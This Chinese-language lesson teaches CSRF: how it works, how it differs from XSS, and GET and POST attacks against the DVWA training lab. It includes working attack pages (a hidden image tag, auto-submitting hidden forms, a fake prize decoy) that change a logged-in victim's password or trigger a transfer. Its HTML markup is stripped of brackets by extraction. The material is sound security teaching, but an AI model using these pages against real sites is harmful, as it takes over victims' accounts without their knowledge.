今天将学习另一种极为常见的 Web 漏洞——跨站请求伪造CSRF。与 XSS 攻击用户浏览器执行脚本不同CSRF 利用的是浏览器自动携带身份凭证的机制让受害者在不知情的情况下执行非本意的操作。你将亲手构造 GET 和 POST 型的 CSRF 攻击页面深刻体会这种“借刀杀人”的攻击手法。第七周·周四CSRF 原理与利用——GET/POST 型 CSRF 攻击 今日学习目标达成效果能准确描述CSRF 漏洞的本质攻击者诱导已登录的用户浏览器向目标站点发送非预期的请求利用浏览器自动携带 Cookie 的机制来通过身份验证能区分CSRF 与 XSS 的核心差异XSS 需要注入脚本到目标站点CSRF 则依赖于外部页面发起跨域请求能独立构造一个 GET 型 CSRF 攻击页面通过隐藏的img标签或自动提交的表单诱使用户在不知情下完成密码修改或转账操作能构造POST 型 CSRF 攻击页面使用自动提交的表单绕过简单的数据提交限制理解为何 POST 并不能防御 CSRF能**在 DVWA 靶场的 CSRF 关卡Low 难度**中通过外部 HTML 文件完成一次完整的密码修改攻击能从攻击者视角总结 CSRF 成功的必要条件用户已登录目标站点、攻击者能够预测请求参数、目标站点仅依赖 Cookie 进行身份验证而没有额外校验。 一、CSRF 的本质借用用户的身份令牌1. 一个现实类比你把办公室门禁卡挂在胸前每个人都能看到。一个同事走过来对你说“麻烦帮我拿一下那边的文件”你走向文件柜门禁自动刷卡通过。你无意中替别人完成了一次授权操作。这就是 CSRF——攻击者借用你的“自动刷卡”机制让你替他执行操作。2. 技术原理现代 Web 应用大多使用 Cookie 或 HTTP Basic/Digest 认证来维持会话。浏览器在每次向站点发送请求时会自动附带该站点下的所有 Cookie包括会话 ID。这意味着只要用户已经登录了某个网站他浏览器发出的任何请求都会被服务器视为已认证。CSRF 攻击者就利用了这一点攻击者在自己控制的页面evil.com上放置一个指向目标站点的请求如修改密码的链接或表单。受害者访问evil.com时浏览器会尝试加载该请求并自动携带受害者之前在目标站点上的 Cookie。目标站点收到请求后看到有效 Cookie以为受害者本人发起了操作于是执行密码修改、转账等动作。3. 与 XSS 的对比特性XSSCSRF攻击目标窃取数据、会话劫持、网页篡改强制用户执行非本意操作攻击位置在目标站点内部注入脚本在外部站点构造请求依赖机制浏览器执行注入的 JavaScript浏览器自动携带 Cookie防御关键输出编码、CSP反 CSRF Token、SameSite、Referer 校验关键区别XSS 利用了站点对用户输入的信任CSRF 利用了站点对浏览器的信任。两者可以结合通过 XSS 绕过 CSRF 防御但本质上是不同的漏洞类型。 二、GET 型 CSRF 攻击当目标站点的敏感操作通过 GET 请求完成且参数完全可预测时攻击者只需构造一个 URL诱使受害者访问。场景示例某银行转账接口为http://bank.com/transfer?toattackeramount1000如果银行仅靠 Cookie 验证身份那么任何已登录的用户访问此 URL 都会完成转账。攻击方式攻击者将这个 URL 嵌入一个看似无害的页面imgsrchttp://bank.com/transfer?toattackeramount1000width0height0受害者浏览该页面时浏览器尝试加载这张“图片”实际上是发送了转账请求并自动带上了银行站点的 Cookie。转账在受害者毫无察觉的情况下完成。注意GET 请求本应是安全且幂等的仅用于获取数据但许多早期 Web 应用不规范地将修改操作也用了 GET导致这类 CSRF 泛滥。目前大部分框架要求修改操作必须用 POST、PUT、DELETE 等方法。 三、POST 型 CSRF 攻击当敏感操作改用 POST 方法后攻击者不能仅靠 URL 完成攻击但可以通过自动提交的表单来实现。浏览器同样会对 POST 请求自动附带 Cookie。场景修改密码接口POST http://target.com/change_password参数new_passwordattacker123confirm_passwordattacker123攻击页面htmlbodyonloaddocument.csrf.submit()formnamecsrfactionhttp://target.com/change_passwordmethodPOSTinputtypehiddennamenew_passwordvaluehackedinputtypehiddennameconfirm_passwordvaluehacked/form/body/html受害者访问此页面表单会在页面加载时自动提交浏览器向目标站点发出 POST 请求携带目标站点 Cookie密码被修改。为什么 POST 不能防御 CSRF因为浏览器同样会对跨域 POST 请求自动携带 Cookie在未设置 SameSite 限制的情况下攻击者只需让表单自动提交即可。真正防御 CSRF 需要额外的手段如 CSRF Token这将在明天详细学习。✍️ 四、动手实践DVWA CSRF 关卡 Low 难度攻击实验环境DVWA 靶场安全等级设为 Low攻击者机器可以是同一台机器使用不同的 HTML 文件受害者浏览器登录 DVWA 后使用另一个标签页或隐私窗口访问攻击页面但需确保同一浏览器因为 Cookie 共享为模拟真实跨域可使用不同端口或本地文件访问攻击页面1. 分析目标接口登录 DVWA进入 CSRF 页面http://靶机/vulnerabilities/csrf/。Low 难度下修改密码的接口为GET http://靶机/vulnerabilities/csrf/?password_new123password_conf123ChangeChange参数通过 GET 传递且无任何防 CSRF 措施。测试直接在浏览器地址栏输入上述 URL替换为你的 DVWA 地址并设置新密码你会发现密码被成功修改。2. 构造 GET 型 CSRF 攻击页面在攻击机上创建一个csrf_get.html!DOCTYPEhtmlhtmlheadmetacharsetUTF-8/headbodyh1恭喜你中奖了点击领取奖品/h1!-- 隐藏的img标签实际发起CSRF请求 --imgsrchttp://靶机/vulnerabilities/csrf/?password_newhacker123password_confhacker123ChangeChangestyledisplay:none;/body/html将此文件在攻击机上通过 HTTP 服务打开或直接用浏览器打开本地 HTML 文件若跨域限制允许img标签的 GET 请求一般可以跨域。模拟攻击在一个浏览器中登录 DVWA保持会话。新开一个标签页打开csrf_get.html。返回 DVWA用旧密码尝试登录将失败用新密码hacker123登录成功证明密码已被篡改。3. 构造 POST 型 CSRF 攻击页面模拟 Medium 级别尽管 Low 也可用 POST即使 DVWA CSRF Low 允许 GET我们也可以练习 POST 方法。创建csrf_post.htmlhtmlbodyonloaddocument.forms[0].submit()formactionhttp://靶机/vulnerabilities/csrf/methodPOSTinputtypehiddennamepassword_newvaluehackedpostinputtypehiddennamepassword_confvaluehackedpostinputtypehiddennameChangevalueChange/form/body/html访问该页面表单自动提交密码被改为hackedpost。关键观察浏览器的 Network 面板或 BurpSuite 会显示这个跨域 POST 请求自动携带了 DVWA 的 Cookie。这就是 CSRF 攻击能够成功的根本原因。 五、课后测试题与解析测试题构造一个自动提交表单的 CSRF PoC 页面用于修改 DVWA 的密码POST 方式。请写出完整 HTML 代码并解释其攻击原理。参考答案htmlbodyonloaddocument.forms[0].submit()formactionhttp://目标DVWA/vulnerabilities/csrf/methodPOSTinputtypehiddennamepassword_newvalueattackerinputtypehiddennamepassword_confvalueattackerinputtypehiddennameChangevalueChange/form/body/html攻击原理受害者已登录 DVWA浏览器中存有有效的会话 Cookie。受害者被诱导访问攻击者准备的页面。页面中的表单在body onload触发下自动提交向 DVWA 发送修改密码的 POST 请求。浏览器自动携带 DVWA 的 Cookie服务器验证通过执行密码修改。攻击者随后使用新密码登录受害者账户。✅ 今日学习效果自检清单我能用自己的话解释 CSRF 与 XSS 的区别与联系我成功在 DVWA Low 难度下通过外部页面完成了 GET 型 CSRF 密码修改我构造了自动提交的 POST 表单实现了 POST 型 CSRF 攻击我知道 CSRF 成功的三个必要条件用户已登录、请求参数可预测、站点仅依赖 Cookie 认证我理解为什么仅使用 POST 方法不能防御 CSRF⚠️ 阶段避坑重点不要混淆 CSRF 与点击劫持虽然都可能通过 iframe 隐藏操作但 CSRF 是自动提交请求点击劫持是诱导用户点击透明层。GET 型 CSRF 的局限性现代浏览器对跨域 GET 请求如img仍会携带 Cookie除非设置 SameSite因此 GET 操作依然需要保护。受害者必须已登录如果用户未登录目标站点攻击请求无法通过认证攻击无效。不要依赖 POST 作为防 CSRF 手段表单可以自动提交且 JavaScript 可以发起跨域 POST某些情况下受 CORS 限制无法读取响应但请求本身已经发出操作仍会生效。自写 PoC 页面注意浏览器安全策略本地文件可能受到更严格的跨域限制通常使用简单 HTTP 服务托管攻击页面更为可靠。明天我们将学习CSRF 防御体系重点掌握 Token 机制、Referer 校验、SameSite Cookie 三大防御手段并在 DVWA Medium 和 High 难度下尝试绕过和加固最终实现完整的安全防护。请保留今天的攻击页面明天会用来测试防御效果。